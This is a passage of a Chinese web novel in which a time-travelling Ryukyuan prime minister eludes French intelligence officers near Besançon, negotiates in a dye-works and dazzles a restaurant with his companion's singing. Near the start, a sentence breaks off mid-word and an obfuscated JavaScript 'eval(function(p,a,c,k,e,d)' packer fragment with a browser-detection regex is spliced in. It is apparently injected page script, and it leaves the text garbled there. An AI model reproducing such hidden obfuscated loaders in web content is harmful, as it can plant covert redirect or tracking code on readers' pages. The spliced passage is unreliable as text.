“这些法国兵不简单。”他压低声音说道,目光停留在路口的工事上,“短短十五分钟就搭建好两座沙袋工事,连鹿角都是就地取材。动作利索,显然经验丰富。” 莱昂靠在一旁的葡萄架上,眼神凝重:“确实都是老兵。你看那边树林,进去十个人到现在都没出来,肯定是设伏的暗哨。这些人的配置很专业。” 沈达华和孟明蛇也在仔细打量着形势。 “要不要试试突围?”沈达华摸了摸腰间的配枪,“路口和树林加起来也就二十个人,近身肉搏的话应该不难对付。我们的人虽然少,但个个身手不凡。” 莱昂摇了摇头,眉头紧锁:“这只是前哨。后面肯定还有更多兵力在布置。突破这里,一千米内必定遭遇伏击。我对他们知根知底。法军的战术素养不容小觑。” “那怎么办?保护先生的职责在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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突然北方传来急促的马蹄声,一名骑兵飞奔而来,马匹的鬃毛被风吹得凌乱。 “长官!不莱梅最新电报!”骑兵翻身下马,大口喘着气,“那支神秘的中国雇佣军现身了,总共三百人...” 皮埃尔一下子惊醒,顾不上整理凌乱的衣着就跳下马车:“什么?给我看电报!”他一把抢过电报,手都在微微发抖。 看完情报,他如遭雷击,脸色瞬间变得苍白:“不可能!中国怎么会有这种精锐?我们到底网住了什么样的大鱼?” 谢里夫也凑过来看,表情逐渐凝重:“三百名剪去发辫的亚洲人,在火场救出九十多个孤儿,成了不莱梅的英雄?这是在演戏吗?”他的声音里充满难以置信。 “你看这里!”皮埃尔指着电报下角,手指因为激动而颤抖,“这些士兵不但会说英语德语,还能写字,人人识字的精锐部队,欧洲有吗?就连我们引以为傲的近卫军都做不到!” “这哪是普通军队,分明是一支军官团!”谢里夫倒吸一口冷气,“普鲁士和中国的关系已经这么密切了吗?这完全超出了我们的情报范围!” 皮埃尔暴跳如雷,一脚踢翻了咖啡壶:“该死的政客!帝国情报工作烂成这样,连这么大的事都不知道!这些蠢货都该上绞刑架!” “如果不莱梅那边是军官团,现在偷渡的这些人身份只会更高!”谢里夫的脸色更加难看,“我们可能卷入了一场外交风暴。” “上帝啊!快通知所有哨卡,绝对不能伤害这批人!领头的一定是重要政治家!”皮埃尔急得直跺脚。 正说着,一名游骑兵飞马而来,马匹因为剧烈奔跑而满身是汗。 “报告长官!发现目标了!”骑兵兴奋地喊道,“他们在往西逃了!队长正带人追击!” “放心,带不回活的也会带回尸体!”骑兵补充道,显然对即将到来的战斗充满期待。 “不!”皮埃尔一声惨叫,差点晕过去,扶着马车才勉强站稳,“上帝保佑,可别让我背这个黑锅啊!” 谢里夫立刻反应过来:“快!所有人立即上马!必须在游骑兵犯下大错之前追上他们!” 指挥部瞬间乱成一团。传令兵们手忙脚乱地收拾装备,骑兵们纷纷翻身上马。皮埃尔连外套都来不及穿好就跳上马背。 “全速前进!”他声嘶力竭地大喊,“一定要在发生流血冲突之前追上他们!否则我们所有人都得完蛋!” 一队骑兵绝尘而去,扬起的尘土在晨光中久久不散。 而此时的陈逸风一行人,正在葡萄园的迷宫中与时间赛跑,争分夺秒地寻找着生路。 突然,一声清脆的枪响划破了清晨的宁静。 皮埃尔猛地勒住马缰,竖起耳朵仔细分辨声音的来源。紧接着,密集的枪声此起彼伏地响起,这声音和欧洲的火枪完全不同。 “是姆克雷!”谢里夫的声音里带着一丝惊讶,“那些中国人装备了美国最新式的步枪。” 两人对视一眼,都从对方眼中看到了凝重。这已经不是简单的偷渡者事件了,能够携带如此先进武器的中国人,身份必定不简单。 葡萄园里,战斗已经进入白热化。十几名游骑兵倒在血泊中呻吟,而那群中国人正在进行有序撤退。他们使用三三战术,交替掩护,战斗素养之高令人咋舌。 “这些中国人...”皮埃尔喃喃自语,手指不自觉地摸向腰间的配枪,“比我们想象的要强大得多。” 在战场的另一端,陈逸风正带着三个女人快速移动。 孟明蛇和沈达华带领的护卫们在前方奋力抵抗。他们的斯宾塞步枪火力凶猛,配合着手雷的攻击,让法国士兵苦不堪言。每一声枪响都伴随着一声惨叫,葡萄园的土地被鲜血染红。 “停止射击!”皮埃尔终于赶到前线,用生涩的中国话大喊,“咱们心存善意!我是情报部门的官员!” 回应他的是三发愤怒的子弹,子弹擦着他的耳朵呼啸而过,打在身后的葡萄架上。木屑四溅,空气中弥漫着火药的味道。 莱昂握着冒烟的枪管,眼神冰冷:“滚开,你们这帮可恶的巴黎人!别以为我不知道你们的把戏!” 皮埃尔无奈地看着这一切。他本想着重返情报部门能够东山再起,没想到第一个任务就遇到了这样的麻烦。 但现在不是自怨自艾的时候,他必须想办法化解这场危机。否则,那些政敌们一定会借此机会,彻底把他打入地狱。 “所有人后退!”他对法国士兵下令,声音里带着不容置疑的威严,“给他们留出撤退的空间!任何人都不准开枪!” 谢里夫也明白事态的严重性,立即配合着疏散士兵。现在的当务之急,是避免事态进一步恶化。他们不能让这场冲突演变成外交事件。 在两位情报官的调停下,枪声渐渐平息。但空气中的火药味依然浓郁,双方对峙的气氛丝毫未减。 皮埃尔注视着那群中国人有序撤退的背影,心中五味杂陈。一个携带重要政治人物的中国特工小队,正在法国境内活动。这个消息若是传出去,必将在欧洲掀起轩然大波。 “他们已经猜到我们的路线了。”莱昂面色阴沉,声音里带着一丝不易察觉的颤抖,“宰相大人,我们必须改变计划。继续北上已经不可能,法国人在刻意将我们往东南方向压制。一旦他们的骑兵从北面包抄过来,我们就真的插翅难飞了。” 陈逸风目光扫过周围疲惫不堪的护卫们。连日的奔波让这些精锐士兵也显得有些狼狈,衣服上沾满了尘土,眼中写满了疲惫。作为一个穿越者,他深知法兰西在这个时期的实力。这可是欧洲的老牌强国,国力远胜普鲁士。正面硬碰硬,无异于以卵击石。 更糟的是,对方派出了他们最精锐的情报人员。在这种人的布局下,他们的退路已经被切断得干干净净。 第一百八十九章 染坊内的谈判 陈逸风的手指无意识地敲击着马鞍,思索着对策。 “莱昂先生。”他开口问道,声音沙哑,“依你之见,我们该如何应对?” 莱昂从马上翻身下来,走到陈逸风身边。“恕我直言,现在最稳妥的办法是...向法国政府表明您的身份。凭您在亚洲区域的影响力,他们不敢轻举妄动。一旦进入外交程序,起码能让您和随从平安无虞。” “不行。”陈逸风断然否决,语气中带着不容置疑的坚定,“一旦这样做,法国佬死活不让我回普鲁士。他们会和俾姆麦交涉,我的计划就全泡汤了。”他顿了顿,目光落在莱昂身上,“而且,我或许能获得外交豁免权,但你们呢?间谍的命运从来都见不得光。” 莱昂整了整有些凌乱的衣领,“多谢宰相大人关心。不过这是我们的宿命,为了日耳曼民族的未来,我们早就做好了牺牲的准备。” “还有别的选择吗?”陈逸风问道,目光扫过远处起伏的丘陵。 莱昂沉吟片刻,“如果您不愿投降,咱们必须杀出一条血路冲向贝桑松。那里紧邻瑞士边境,如果能进入瑞士境内,普鲁士就能全力支援我们。但是...”他的声音渐渐低了下去。 “但是成功的几率很小,对吧?”陈逸风接过话头,目光落在不远处的一座染坊上。那座破旧的建筑在阳光下投下长长的阴影,仿佛一个巨大的问号。“我倒是觉得,我们还有第三条路。” “什么意思?”莱昂疑惑地看着他。 “你没发现吗?”陈逸风嘴角微扬,眼中闪过一丝狡黠,“这帮法国佬怕是已经察觉到我的真实来历。我准备在那座染坊和他们谈判。” 莱昂愣了一下,随即恍然大悟。他的眼睛亮了起来,“确实,追击过程中他们一直保持着压力,却没开过一枪。这种克制,说明他们至少猜到您是个重要人物。” 两人快速商议了一番细节。莱昂清了清嗓子,用流利的法语喊话:“法国的勇士们,请让你们的负责人出来。就在前头那座染坊中,有位来自东方的贵客想与你们谈判。”他顿了顿,又补充道:“这是一场重要的外交接触,请保持五百米的安全距离,以免造成不必要的误会。” 十多分钟后,一个衣着邋遢的中年人挥舞着白手绢走来。他的步伐看似散漫,却暗含章法,每一步都仿佛经过精确计算。 “该死!”莱昂脸色大变,声音里带着难以掩饰的震惊,“是皮埃尔,法国陆军部最出色的情报官。难怪他们的围堵如此精准。” “有什么特别之处?”陈逸风问道,目光紧盯着那个逐渐靠近的身影。 “此人最擅长在错综复杂的情报中寻找关键线索。要不是因为风流韵事被冷藏了七年,法国的情报系统早就今非昔比了。”莱昂压低声音解释道,语气中带着几分嘲讽。 陈逸风不禁莞尔。没想到法国人在这个年代就已经这么...浪漫了。 染坊里,众人神情紧张地透过木板缝隙观察外面的动静。 不一会儿,孟明蛇带着皮埃尔走进了染坊。 皮埃尔站在窗边,他的目光在陈逸风身上来回打量,眼神中既有探究,又带着几分难以掩饰的困惑。那双标志性的桃花眼微微眯起,仿佛在思索着什么。 “有趣。”皮埃尔首先开口,“我必须承认,您的出现确实出乎我的意料。” 陈逸风靠在一根粗壮的木柱上,嘴角挂着若有若无的笑意。 “皮埃尔先生,看来我猜的没错你已经大概知道我的身份了”陈逸风缓缓开口,声音里带着一丝慵懒,“我其实是琉球王国的宰相,同时也是清帝国的西学传播者和工业化负责人之一。” 几个法国士兵面面相觑,显然对这个陌生的头衔感到困惑。在他们的认知中,东方依然是个神秘而遥远的世界,充满着未知与传说。 皮埃尔的眉头微微皱起琉球王国这个名字对他来说十分陌生,事实上整个欧洲也鲜有人知晓。在这个电报线尚未遍布全球的年代,新的传递仍然依靠着漫长的海上航行。 陈逸风注意到了对方的困惑,向站在一旁的孟明蛇使了个眼色。孟明蛇会意,动作利落地从肩上取下那个看似普通的皮制邮差包。 当那块翡翠雕刻的琉球宰相印展现在众人面前时,整个染坊瞬间被一片翠绿的光芒笼罩。 “天啊!”皮埃尔情不自禁地惊呼出声,“这是一块巨大的绿色玻璃吗?” “玻璃?”陈逸风差点气笑了,声音中带着几分无奈,“睁大你的眼睛好好看看,这块玉可是祖传的极品啊,连缅甸王室都为之倾心的珍品。” 对欧洲人而言,翡翠还是个陌生的词汇。即便在亚洲,这种宝石也是在明末清初才逐渐受到关注。不过皮埃尔毕竟是个老练的情报官,很快就意识到了这块宝石的不凡。 “宰相大人...”皮埃尔的语气突然变得恭敬起来,身体也不自觉地微微前倾,“抱歉之前我们太莽撞了。不过作为一名法国官员,我必须提醒您,以您的身份,用这种方式进入欧洲似乎不太妥当...” 陈逸风听到这里,心中泛起一阵冷笑。他太了解拿破仑三世了,这个野心家,这个战争狂人。在位期间让法国几乎没有一天安宁。克里米亚战争、第二次鸦片战争、意大利远征,甚至还有墨西哥远征,直到普法战争才终结了他的疯狂统治。 “皮埃尔先生。”陈逸风的声音突然变得冷峻,“恐怕您搞错了一件事。我们之所以选择这种方式入境,完全是被迫的。从西奈半岛进入塞德港后,我们就被你们的军队和情报人员盯上了。” “这其中一定有误会...”皮埃尔的声音有些急促。 “误会?”陈逸风冷笑一声,“请问琉球王国什么时候与法国开战了?你们凭什么向我的船只开火?” 皮埃尔连忙解释道:“达尔号护卫舰只是例行检查,如果知道您的身份...” “够了。”陈逸风抬手打断他的话,“现在说这些都没有意义。除非你能找到证据证明你说的话” 第一百九十章 这简直是疯了 皮埃尔眉头紧锁。达尔号已经沉没,他上哪里去找证据?染坊里的气氛再次变得紧张起来,几个法国士兵不自觉地把手放在了枪套上。 “宰相大人,我们不要纠缠过去的事了。”皮埃尔试图转移话题,“我此行的目的是邀请您去巴黎...” “抱歉,在法国政府表明态度之前,我不会去巴黎。”陈逸风态度坚决,“虽然琉球王国弱小,但在国际法上与法国是平等的。” 皮埃尔终于明白了陈逸风的用意。这位东方的政治家,显然对巴黎之行有所顾虑。 就在这时,外面突然传来整齐的脚步声。透过布满灰尘的窗户,可以看到越来越多的法国士兵正在向染坊集结。这次他们把步枪背在身后,显示出友好的姿态。 然而当他们准备逮捕莱昂等人时,情况突然发生了变化。 “住手!”陈逸风厉声喝道,“莱昂是我的朋友!” “抱歉,宰相大人。”皮埃尔脸上挂着官方式的微笑,“您的外交豁免权不包括这些普鲁士人。” 二十多支枪同时对准了莱昂一行人。这位陪伴陈逸风横渡地中海的普鲁士军人,苦笑着向陈逸风敬礼。他的眼神中带着释然,仿佛早已预料到这一刻的到来。 “宰相大人,再见。这就是我的命数了...” “放屁!”陈逸风突然爆喝一声,“蛇爷,动手!” 一声令下,中国护卫如同鬼魅般出手。眨眼间,包括皮埃尔在内的六名军官就被制住。孟明蛇的短刀抵在皮埃尔的咽喉上,寒光闪烁。 染坊里的气氛瞬间紧张到了极点。法国士兵们举着枪,却不敢轻举妄动。他们从未见过如此迅捷的身手,这完全颠覆了他们对东方人的认知。 “从塞德港开始,莱昂就是我的雇佣兵。”陈逸风冷冷道,“动我的人,就是不给我面子。我不管你们和普鲁士有什么过节,这个理由在我这里行不通。” 皮埃尔震惊地看着眼前的一切。谁说东方已经没落了?这实力简直离谱?他的喉结微微滚动,感受着贴在脖子上的冰冷刀锋。 “冷静!所有人放下武器!”皮埃尔急忙喊道,声音因为紧张而有些发颤,“宰相大人,巴黎那边会误会您的良苦用心啊!” 陈逸风没有理会他的话。没有莱昂的帮助,想要逃出生天简直是痴人说梦。至于那位狂妄自大的皇帝,随他去吧。 “皮埃尔先生,建议您先跟巴黎通个气。”陈逸风淡淡道,目光中带着几分戏谑,“您的级别,恐怕还不够给我下命令。” 这话说的没错,皮埃尔只是一个情报人员,陈逸风这样的身份已经涉及到外交,他的确没有资格。他思索片刻:“宰相大人,既然如此,我可以不杀这个普鲁士人,但是你们这些人必须先听从我的安排,我会给你们找一间舒服的房子住下来,再去让人向皇室汇报,您觉得如何?” 此刻也只能如此,只要莱昂还在,就有逃脱的希望。 陈逸风转身看向凤女等众人,拍了拍衣服上的尘土:“那就麻烦皮埃尔先生了。” 普鲁士的崛起之路上,法国就像一块巨石般横亘在前方。 作为欧洲大陆的霸主,法国人对普鲁士的防范从未停止。他们绝不容许另一个陆上强国的出现,更不允许自己“陆军第一”的地位受到挑战。巴黎的每一个决策者都在密切关注着普鲁士的一举一动,生怕这个北方邻居突然崛起。 英国人奉行海洋政策,只要不触及其海上利益,便不会过多干涉。俾姆麦正是抓住了这一点,在普鲁士崛起的过程中成功地让英国保持了中立态度。他们心知肚明:与其防范远在大陆的普鲁士,不如提防近在咫尺的法国。 但法国不同。他们暗中煽动普鲁士南部诸侯造反,千方百计地要削弱德意志的力量。巴黎的外交官们四处游说,试图在普鲁士周边制造敌对势力。既然和平相处无望,那便只好兵戈相向一决胜负。 虽然此时的普鲁士还没有足够的实力与法国抗衡,但这并不妨碍他们在法国境内布下庞大的情报网,筹谋未来的终极对决。每一个边境城市都潜伏着普鲁士的密探,他们像幽灵一样游走在阴影中,收集着各种情报。 贝桑松就是这样一个边境重镇。城市古老而宁静,厚重的城墙见证了无数历史变迁。街道上行人匆匆,谁也不会想到这里正在上演一场惊心动魄的谍战。 陈逸风的计划可以说是胆大包天。他选择贝桑松这个边境城市,就是为了偷渡到瑞士,再转道去普鲁士。现在所做的一切,不过是在麻痹法国人的警惕。 “这简直是疯了!”莱昂站在被监禁的房子窗前,听着陈逸风的计划。得知陈逸风要动用自己的军官团来执行营救任务时,更是惊得目瞪口呆。那支刚刚在不莱梅崭露头角的新军,竟然要在法国境内发动一场军事行动? “你听我解释。”陈逸风微微一笑,端起茶杯轻啜一口,“法国人现在正是最狂妄的时候。六年前他们刚刚烧了清国的圆明园,在他们眼里,中国人都是软弱可欺的。” 莱昂转过身来,眉头紧锁:“但这不代表...” “一个连都城都沦陷还龟缩不敢还手的废物国度,在他们看来根本不值得尊重。”陈逸风放下茶杯,眼中闪过一丝冷意,“我就是要利用法国人的这种轻视。他们绝对想不到,我会用军队从贝桑松强行突围。就算是皮埃尔那样的情报天才,也猜不到我的计划。” 房间里一时陷入沉默,只有壁炉里的柴火发出轻微的噼啪声。莱昂来回踱步,皮靴在木地板上发出沉闷的声响。 “可是这太冒险了,”莱昂终于停下脚步,“一旦失败...” “更何况,”陈逸风打断了他的话,站起身走到地图前,“法兰西眼下满脑子都是你们普鲁士的事。只要你们在边境制造几次军队调动的假象,就能吸引他们的目光。” 他的手指在地图上划过,在瑞士边境处停留:“贝桑松离瑞士很近,几十公里的路程,我相信我的勇士们能够护送我突围。这支虎狼之师可是我亲自调教出来的!” 莱昂望着陈逸风的背影,心中暗叹:这简直就是个疯子!这种强行突围带有准军事色彩,必然会引发与法国军队的冲突。一场小规模的战争在所难免。 第一百九十一章 不莱梅新军出征 窗外传来教堂的钟声,悠扬而庄重。莱昂的思绪更加混乱:不管输赢如何,战事一起必将酿成外交危机。到时候法国必定会与中国交恶,难道陈逸风不怕法国海陆军的报复吗? “我知道你在想什么。”陈逸风转过身,嘴角挂着一丝冷笑,“不是我看不起法国人,如今的法兰西完全丧失了再度对华动武的本钱。拿破仑三世不过是抱着英国佬大腿捞好处罢了。” 他走到书桌前,翻开一本厚重的档案:“克里米亚战争也好,第二次鸦片战争也罢,包括后来远征墨西哥,法国都是拉着英国一起行动。虽然他们说话强硬,但也清楚现实:没有英国这个拥有世界第一水军的盟友,很多事情根本做不成。” “你以为英国人还会为法国继续对付中国?”陈逸风嗤笑道,合上档案发出“啪”的一声,“大不列颠早在六年前就已经捞够了商业好处,连大清海关都交给了他们的人管理。吃饱喝足的人,谁会作死砸了自己的金饭碗?” 莱昂陷入沉思。确实,没有强大水军的掩护,陆战队就是个旱地白条。竟敢横跨半个星球来华夏挑衅?简直是天方夜谭。 其实还有更重要的原因陈逸风没说:普鲁士的崛起牵制了法国的主要力量。只要普鲁士的势头不减,法国就不敢分心他顾。再加上琉球与美国几乎已经结成同盟,米国佬绝对不会容忍法兰西触动他们在亚洲的蛋糕。 面对陈逸风的坚持,莱昂最终点头同意配合。正是在他们达成一致后,这才促成了染坊内的密谈。整个计划离不开莱昂他们的情报支持。没有这些耳目,陈逸风的计划就是空中楼阁。 皮埃尔被逼无奈,法军不得不松开普鲁士俘虏。士兵们个个怒气冲天,手按在枪柄上,目光如刀般盯着这群“叛徒”。中校谢里夫率领骑兵小队飞奔巴黎城,马蹄声在石板路上敲出急促的节奏。 “去吧。”陈逸风望着远去的骑兵,暗自冷笑,“光是路上就要耽误五天,更有巴黎那帮官老爷们踢皮球互甩锅,又得浪费三四天。给我十天时间,足够不莱梅的兄弟们从容赶来救援了。” 就在陈逸风向贝桑松前进时,遥远的北方,德国名城不莱梅已经沸腾。民众们在报刊上目睹了华夏军魂救济幼孤的壮举,都不敢相信自己的眼睛。他们反复确认报纸日期和来源,生怕这是一场梦。 街头巷尾,咖啡馆里,教堂门前,到处都能听到人们激动的讨论。那些平日里高傲的德意志人,此刻却在为远东来的军人赞叹不已。 在俾姆麦首相的暗中支持下,援救任务完成仅仅六小时,不莱梅所有报纸就刊登了亨利的专题报道。那张占据整版的照片震撼人心:身材魁梧的中国军人,脸上满是黑灰,双眼炯炯有神,怀中抱着天使般的小女孩德兰,身后是冲天的火焰与废墟。 这张照片感动了整个德国。铁血军人与柔弱女童形成强烈对比,视觉冲击让所有人动容。普鲁士的血脉里流淌着骑士精神,对这种见义勇为的行为发自内心地赞美。 报纸、号外、专题接连不断,陈逸风的新军占据了所有头版头条。街头巷尾都在传颂这支远道而来的军队,他们的勇气与担当赢得了德意志人的尊重。 三百新军为中国人打响了第一仗,他们没有辜负陈逸风的期望。这一战,打出了中国人的尊严与骨气。然而三天后,一个噩耗让所有士兵暴怒:琉球宰相陈逸风被法国人控制在贝桑松! 消息传来的那一刻,训练场上的士兵们纷纷放下手中的武器。他们接到命令:迅速前往瑞士边境,伺机营救首相!每个人的眼中都燃烧着怒火,誓要将自己的首相救出重围。 夜色笼罩下的不莱梅火车站,一列巨大的蒸汽机车正缓缓驶入货运站台。浓浓的白烟从烟囱中喷涌而出,钢铁巨兽发出低沉的轰鸣,仿佛一头即将苏醒的远古巨兽。 站台上,三百新军战士整齐列队,目光中透着震撼与凝重。寒风呼啸,吹动着他们的军装衣角。远处传来零星的马蹄声和车轮滚动的声响,为这个寂静的夜晚增添了几分紧张感。 “欧洲的火车就这德性...”一名年轻战士忍不住低声惊叹,眼中闪烁着好奇的光芒。 瑾周信皱眉扫了一眼说话的战士。虽然他也被眼前的工业奇迹所震撼,但现在不是感慨的时候。三天前那场爆炸的伤痛还在提醒着他们的使命,那些画面不断在脑海中闪回。 “保持纪律!”瑾周信压低声音喝道,声音中带着一丝不易察觉的颤抖,“宰相在法国被人瞧不起,你们还有心思在这里看稀奇?” 队伍瞬间安静下来,只剩下火车轰鸣的余音在站台上回荡。战士们的脸上浮现出愧疚之色,纷纷挺直了腰板。 就在这时,联络官艾伦姆和亨利匆匆赶来,他们的呼吸因为快速奔跑而变得急促。 艾伦姆擦了擦额头的汗水,“瑾先生,俾姆麦首相刚发来电报。”他从怀中掏出一张皱巴巴的纸张,“首相希望你们能继续接受治疗,普鲁士军队有能力营救...” “不必再说了。”瑾周信抬手打断,目光坚定地看着艾伦姆,“这不仅仅是恩义,更是我们对大人的信任。法国人现在盯死了普鲁士军队的一举一动,只有我们中国人才能出其不意。” 艾伦姆的表情变得复杂,他看了看周围的战士,最后叹了口气:“这是首相最后一次劝解。你们都这么说了,我要传达总参谋部的最新命令。” 他将瑾周信等军官带到一间灯光昏暗的仓库。 艾伦姆关上门,压低声音道:“总参谋部已制定了调兵计划。南线两个师团将调动四个营进行换防,以迷惑法军情报部门...” 瑾周信专注地听着艾伦姆详细介绍普鲁士的声东击西之计。他们将调动大量兵力威胁法国南部四邦,吸引法国的全部注意力。地图上的红色标记点清晰地显示着每一个部队的调动路线。 第一百九十二章 贝桑松的晚宴 “贝桑松距离瑞士边境的巴塞尔只有六十多公里。”艾伦姆用手指在地图上划出一条路线,“以普鲁士精锐每小时五公里的强行军速度,一晚上足够你们完成营救。” “请代我们向首相和国王陛下致谢。”瑾周信郑重感激道。 “我和亨利会随行当你们的翻译。”艾伦姆拍了拍瑾周信的肩膀,露出一个鼓励的笑容。 夜色渐深,三百新军战士悄然登上火车。钢铁轮毂碾压铁轨发出节奏的轰鸣,驶向遥远的南方。车厢内光线昏暗,只有几盏油灯在摇曳。 军官们围着艾伦姆研究地形和敌情,一遍遍推敲行动方案。士兵们或休息或保养武器,还有人透过车窗缝隙望着异国的夜色。寒风从缝隙中吹进来,带着异国的气息。 “这次行动必须万无一失。”瑾周信指着地图上的一个点,“我们只有一次机会。” 艾伦姆点点头:“普鲁士方面会尽可能给你们创造机会。但是要注意,法国人最近对东方面孔特别敏感。” 与此同时,贝桑松市中心一家高档餐厅外,一辆黑色的马车停在了一家高档餐厅门前,车夫恭敬地打开车门。 陈逸风率先下车,转身伸手搀扶凤女。身后的川儿、婉玉和阿艳也相继走下马车,她们身着最新款的法式裙装,举手投足间散发着东方女子特有的优雅气质。 餐厅门口的侍者微微躬身,用流利的法语问候:“晚上好,先生女士们。” “晚上好。”陈逸风用同样标准的法语回应,“我订了位子。” 侍者查看预订簿,恭敬地做了个“请”的手势:“这边请。” 餐厅内部装潢典雅,水晶吊灯折射出柔和的光芒。四周的墙壁上挂着名家油画,精致的桌椅上铺着雪白的桌布,每张桌子上都摆放着鲜花和烛台。 他们刚入座,立刻有侍者送上餐前酒和开胃菜。 “这里的装修真是漂亮。”凤女小声感叹,目光在四周流连。 川儿轻轻点头:“确实不错,比我们在上海见过的西餐厅还要精致。” 婉玉好奇地打量着周围的食客,压低声音道:“你们看,那些法国人都在偷偷看我们呢。” 确实,自从他们一行人进来,就吸引了不少目光。有些法国人露出轻蔑的表情,似乎在等着看这些东方人出丑。 很快,第一道菜品上桌——法式焗蜗牛。 陈逸风优雅地拿起专用的蜗牛夹和叉子,动作行云流水。那些等着看笑话的法国食客顿时愣住了。 “这个东方人居然如此熟悉西餐礼仪?”一个戴着单片眼镜的法国绅士惊讶地低语。 虽然其他人显得有些生疏,但在陈逸风的悄声指导下,很快就掌握了要领。 “凤女,这个叉子是用来取蜗牛肉的。”陈逸风耐心解释,“不要着急,慢慢来就好。” 凤女认真地点头,学着陈逸风的样子,小心翼翼地取出蜗牛肉。 接下来是法式浓汤。浓郁的奶香混合着蘑菇的清香,让人食欲大开。 “这汤真好喝。”阿艳忍不住赞叹,“比我们在上海喝的还要香。” 川儿优雅地用汤匙舀起一小口,轻轻吹凉后品尝:“确实不错,难怪法国菜能享誉世界。” 那些原本想看热闹的法国人顿时兴致缺缺。既比不过这个中国人的阔绰,又找不到任何可以嘲笑的把柄。 灌了三杯红酒上头,餐厅的气氛渐渐变得轻松起来。 就连凤女她们也开始低声交谈,时不时传来悦耳的笑声。东方女子特有的婉约气质,让在场的法国男人都忍不住频频侧目。 坐在不远处的皮埃尔看得入了迷。他手中的红酒杯已经举了半天,却忘了喝一口。这些年他见过不少美女,但与眼前这几位东方美人相比,简直如同地精一般丑陋。 不止是他,巴黎直男们都在疯狂偷瞟这群东方仙女。尤其是川儿和婉玉,更是成了全场的焦点。 这让他们的女伴十分不悦,有几个脾气暴躁的直接摔下刀叉离席。 法国女人自然也有其独特的美,但与东方女子那种精致含蓄的气质截然不同,更别说那比欧洲女生白嫩十倍的瓷肌。 醉意上涌的皮埃尔,目光始终无法从婉玉身上移开。这个身材娇小、笑起来带着两个甜美酒窝的姑娘,已经完全俘获了他的心。 就在这时,餐厅里响起了悠扬的小提琴声。一支身着燕尾服的乐队开始为客人演奏,为晚宴增添了几分欢快的气氛。 微醺的陈逸风突然凑到婉玉耳边:“婉玉,不如你也唱一首?让这些法国人见识见识我们中国人的才艺。” 婉玉顿时红了脸,连连摇头:“不行不行,这么多人看着,我会紧张的。” “有什么好紧张的?你的歌喉比他们的歌剧演员还要好。”陈逸风鼓励道。 皮埃尔见状,心里泛起一阵酸意。他端起酒杯,一饮而尽。 在陈逸风的再三劝说下,婉玉终于点了点头:“那...那我试试吧。” 陈逸风兴奋地起身,走到乐队旁边用流利的法语交谈几句,还递上几枚金法郎。乐队成员笑逐颜开,稍作休息后,一首熟悉的旋律在餐厅中响起。 婉玉深吸一口气,站了起来。她穿着巴黎时尚圈爆款的褶皱花裙,整个人神采飞扬。 当她开口吟唱第一个音符时,整个餐厅瞬间哗然。 清澈空灵的歌声如同阿尔卑斯山上的溪流,缓缓流过开满鲜花的山谷。任何人听到这歌声,都会被深深打动。 婉玉一人包揽了男女声部,当她唱出男声部分时,震惊了在场所有人。就连后厨的大厨和伙计都跑出来聆听。 “上帝啊,这是天使的声音!”有人激动地喊道。 所有的法国人都站了起来,举起酒杯。当婉玉唱到高潮部分时,全场跟着合唱起来。 “让我们为爱情干杯...” 歌声一遍又一遍响起,乐队也配合着反复演奏。就连餐厅外的路人都被吸引,纷纷驻足聆听。 皮埃尔站在人群中,目光痴迷地望着婉玉。她歌唱时的神情是那么专注,仿佛整个世界只剩下音乐。 第一百九十三章 皮埃尔疯狂求爱 那些藏在暗处的法国间谍也走了出来,叼着香烟,痴痴地望着如天使般的婉玉。 “这些中国人玩得真开心,看来是打算融入法国社会了。”一个间谍说道。 “是啊,不过这歌声实在太美了。要是能进去喝杯酒,边听边品味,该多惬意。”另一个间谍叹息道。 “得了吧,就咱们这点工资,一个月不吃不喝也买不起里面一瓶酒。” 歌声渐渐平息,餐厅里响起雷鸣般的掌声。婉玉羞涩地向众人行礼,脸颊绯红。 “Bravo!”不知是谁喊了一声,立刻引来更热烈的掌声。 陈逸风满意地看着这一幕,举起酒杯向婉玉示意。婉玉回以甜美的微笑,眼中闪烁着欢快的光芒。 皮埃尔的心都快碎了。他多希望婉玉的笑容是对着自己绽放,而不是那个该死的中国人。 就在这时,一个衣着华贵的法国男人走了过来,用蹩脚的中文说道:“这位小姐,不知可否赏脸,与我共进一杯?” 婉玉有些慌乱,下意识看向陈逸风。 陈逸风微微皱眉,正要开口,凤女已经抢先说道:“不好意思,我们要回去了。” 那法国男人还想说什么,但看到凤女冷峻的表情,只好悻悻离开。 “我们确实该走了。”陈逸风起身,向侍者示意结账。 当他们走出餐厅时,已经有不少人在门口等候,想要一睹婉玉的芳容。 陈逸风护着几个女人快步上了马车。透过车窗,他看到皮埃尔还站在原地,目光灼灼地望着这边。 马车缓缓驶离,消失在巴黎夜色中。餐厅里的人们还在谈论着这个难忘的夜晚,谈论着那个有着天籁之音的东方女子。 而在暗处,那些法国间谍正在记录着今晚发生的一切。他们知道,这些中国人的一举一动,都可能影响着两国之间微妙的关系。 东方歌剧女神,这个称号如同一阵旋风,席卷了整座城市的每个角落。 陈逸风站在二楼的窗前,看着楼下络绎不绝的马车,嘴角勾起一抹冷笑。那些装满请柬的信封几乎要把门房堆满,每一封都代表着贝桑松权贵们的热切期待。 “婉玉,昨晚做得不错。”陈逸风没有回头,目光依旧停留在窗外。“一首歌,就让这些法国人放松了警惕。他们现在一定认为,我已经打消了逃跑的念头。” “老爷,您别再让我在洋人面前出丑了。”婉玉低声说道,但眼底却闪过一丝掩饰不住的喜悦。 作为教坊司精心挑选出的美人之一,婉玉的容貌和才艺自然是上乘。在这个偏僻的小城,她的出现无异于黑夜中的明珠,让所有人为之倾倒。每当她站在舞台上,那双明亮的眼睛就仿佛能说话,让观众们忘记了呼吸。 “不行。”陈逸风摇头,“这几天你还得继续演戏。不光是你,大伙儿都得戴上面具装模作样。”他转过身,目光扫过屋内众人,“要让法国人相信,我们只是一群贪图享乐的东方人。” 房间里的空气突然变得凝重起来。 “老爷,那些法国人...”婉玉欲言又止。 陈逸风走到她面前,轻轻拍了拍她的肩膀:“我知道你在担心什么。但现在,我们别无选择。” 话音未落,楼下突然传来一阵喧哗。紧接着,沉重的脚步声由远及近,一个护卫慌慌张张地冲了进来。 “宰相大人,那个皮埃尔又来了!手里拿着花,嘴里不停喊着婉玉的名字!” 